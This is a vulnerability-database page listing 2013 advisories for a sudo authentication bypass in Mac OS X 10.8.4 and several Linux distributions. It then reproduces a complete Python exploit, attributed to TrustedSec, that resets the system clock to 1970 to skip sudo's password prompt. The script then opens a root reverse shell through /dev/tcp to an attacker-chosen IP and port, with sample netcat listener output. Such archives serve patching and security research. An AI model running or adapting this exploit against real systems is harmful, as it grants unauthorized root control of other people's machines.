| Reporter | Title | Published | Views | Family All 100 |
|---|---|---|---|---|
| Mac OS X Sudo Password Bypass Vulnerability | 27 Aug 201300:00 | – | zdt | |
| sudo -- Authentication bypass when clock is reset | 27 Feb 201300:00 | – | freebsd | |
| Mac OS X 10.8 < 10.8.5 Multiple Vulnerabilities (Security Update 2013-004) | 16 Sep 201300:00 | – | nessus | |
| Mac OS X < 10.10.5 Multiple Vulnerabilities | 16 Oct 201500:00 | – | nessus | |
| Amazon Linux AMI : sudo (ALAS-2013-259) | 14 Dec 201300:00 | – | nessus | |
| CentOS 5 : sudo (CESA-2013:1353) | 12 Nov 201400:00 | – | nessus | |
| CentOS 6 : sudo (CESA-2013:1701) | 12 Nov 201400:00 | – | nessus | |
| Debian DSA-2642-1 : sudo - several issues | 11 Mar 201300:00 | – | nessus | |
| Fedora 17 : sudo-1.8.6p7-1.fc17 (2013-3270) | 20 Mar 201300:00 | – | nessus | |
| Fedora 18 : sudo-1.8.6p7-1.fc18 (2013-3297) | 17 Mar 201300:00 | – | nessus |
`#!/usr/bin/python
# Original MSF Module:
# https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudo_password_bypass.rb
###################################################################################################
# Exploit Title: OSX <= 10.8.4 Local Root Priv Escalation Root Reverse Shell
# Date: 08-27-2013
# Exploit Author: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
# Tested On: OSX 10.8.4
#
# Reference: http://www.exploit-db.com/exploits/27944/
#
# Example below:
# trustedsec:Desktop Dave$ python osx_esc.py
# [*] Exploit has been performed. You should have a shell on ipaddr: 127.0.0.1 and port 4444
#
# attacker_box:~ Dave$ nc -l 4444
# bash: no job control in this shell
# bash-3.2#
###################################################################################################
import subprocess
# IPADDR for REVERSE SHELL - change this to your attacker IP address
ipaddr = "192.168.1.1"
# PORT for REVERSE SHELL - change this to your attacker port address
port = "4444"
# drop into a root shell - replace 192.168.1.1 with the reverse listener
proc = subprocess.Popen('bash', shell=False, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
proc.stdin.write("systemsetup -setusingnetworktime Off -settimezone GMT -setdate 01:01:1970 -settime 00:00;sudo su\nbash -i >& /dev/tcp/%s/%s 0>&1 &\n" % (ipaddr,port))
print """
###############################################################
#
# OSX < 10.8.4 Local Root Priv Escalation Root Reverse Shell
#
# Written by: David Kennedy @ TrustedSec
# Website: https://www.trustedsec.com
# Twitter: @Dave_ReL1K
#
# Reference: http://www.exploit-db.com/exploits/27944/
###############################################################
"""
print "[*] Exploit has been performed. You should have a shell on ipaddr: %s and port %s" % (ipaddr,port)
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation